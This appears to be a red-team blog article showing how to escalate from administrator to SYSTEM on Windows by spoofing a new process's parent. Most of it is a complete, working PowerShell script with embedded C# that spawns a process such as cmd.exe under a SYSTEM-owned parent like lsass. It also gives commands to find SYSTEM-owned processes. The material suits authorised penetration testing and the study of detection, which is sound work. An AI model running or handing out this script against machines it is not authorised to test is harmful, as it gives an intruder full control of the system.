GetSystem.ps1

GetSystem.ps1

In your red teaming or pen-testing activities escalating to  SYSTEM on a Windows box is always the desired objective. The SYSTEM user is a special operating system user with the highest privilege, many post exploitation techniques require this type of access.

Of course, in order to get SYSTEM you have be part of the administrators group or use some particular  token stealing/impersonation techniques (example: The lonely potato) or just exploit some unpatched vulnerabilities…

If you have administrator access, there are a plenty of techniques or tools to help you elevating the privilege. The most common is the well known utility “psexec” from Sysinternals, but there are also other tools which rely on named pipe or token impersonation. I guess everyone of you has used  the “getsystem” command from a meterpreter console 😉

In this article I will show you how to use the “parent process” technique. Of course, nothing new, but I just wanted to keep everything  in a single  powershell script as small as  possible. (you know how important it is).

First a little bit of theory.  Normally,  when a process launches a child process, it becomes the parent of the child process. However starting form Windows Vista it is possible to alter this behavior.  If we create a new process setting also the parent process property, the child process will inherit the token of the specified parent process and impersonate this one. So if we create a new process, setting the parent PID the process owned by SYSTEM, we did it!

Of course, we need to have elevated rights in order to create a process from the parent process handle, typically seDebugPrivilege which administrators have (note: if a regular user has this privilege too, he has the keys for the kingdom!). Keep in mind that this privilege is available only from an elevated command prompt.  Just check it with the following command:

PS> whoami/privs

This was the theory, now we have to play with the Windows API in order to achieve our mission.

First we will need to create an attribute in the STARTUPINFO structure, get the parent SYSTEM process handle and instruct the  CreateProcess() call to use these additional information.

Doing this in C++ or C# is relatively easy but in powershell  could be a tricky task, so I decided to embed C # in my .ps1 script. As you already know, it is possible to execute C# code from powershell and vice versa.

To find a process running as system:

PS> Get-WmiObject Win32_Service -filter 'STARTNAME LIKE "%System%"'

The Script:

<#

$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}

#>

#Simple powershell/C# to spawn a process under a different parent process
#Launch PowerShell As Administrator
#usage: . .\GetSystem.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
#Reference: https://github.com/decoder-it/psgetsystem



$code = @"
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

public class MyProcess
{
    [DllImport("kernel32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    static extern bool CreateProcess(
        string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
        ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UpdateProcThreadAttribute(
        IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
        IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool InitializeProcThreadAttributeList(
        IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int nLength;
        public IntPtr lpSecurityDescriptor;
        public int bInheritHandle;
    }

	public static void CreateProcessFromParent(int ppid, string command)
    {
        const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
        const uint CREATE_NEW_CONSOLE = 0x00000010;
		const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;


        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        STARTUPINFOEX si = new STARTUPINFOEX();
        si.StartupInfo.cb = Marshal.SizeOf(si);
        IntPtr lpValue = IntPtr.Zero;

        try
        {

            IntPtr lpSize = IntPtr.Zero;
            InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
            si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
            InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
            IntPtr phandle = Process.GetProcessById(ppid).Handle;
            lpValue = Marshal.AllocHGlobal(IntPtr.Size);
            Marshal.WriteIntPtr(lpValue, phandle);

            UpdateProcThreadAttribute(
                si.lpAttributeList,
                0,
                (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                lpValue,
                (IntPtr)IntPtr.Size,
                IntPtr.Zero,
                IntPtr.Zero);


            SECURITY_ATTRIBUTES pattr = new SECURITY_ATTRIBUTES();
            SECURITY_ATTRIBUTES tattr = new SECURITY_ATTRIBUTES();
            pattr.nLength = Marshal.SizeOf(pattr);
            tattr.nLength = Marshal.SizeOf(tattr);
            Console.Write("Starting: " + command  + "...");
			bool b = CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
			Console.WriteLine(b);

        }
        finally
        {

            if (si.lpAttributeList != IntPtr.Zero)
            {
                DeleteProcThreadAttributeList(si.lpAttributeList);
                Marshal.FreeHGlobal(si.lpAttributeList);
            }
            Marshal.FreeHGlobal(lpValue);

            if (pi.hProcess != IntPtr.Zero)
            {
                CloseHandle(pi.hProcess);
            }
            if (pi.hThread != IntPtr.Zero)
            {
                CloseHandle(pi.hThread);
            }
        }
    }

}
"@
Add-Type -TypeDefinition $code

See it in Action:

 

Author: Jacco Straathof

reference used :  https://github.com/decoder-it/psgetsystem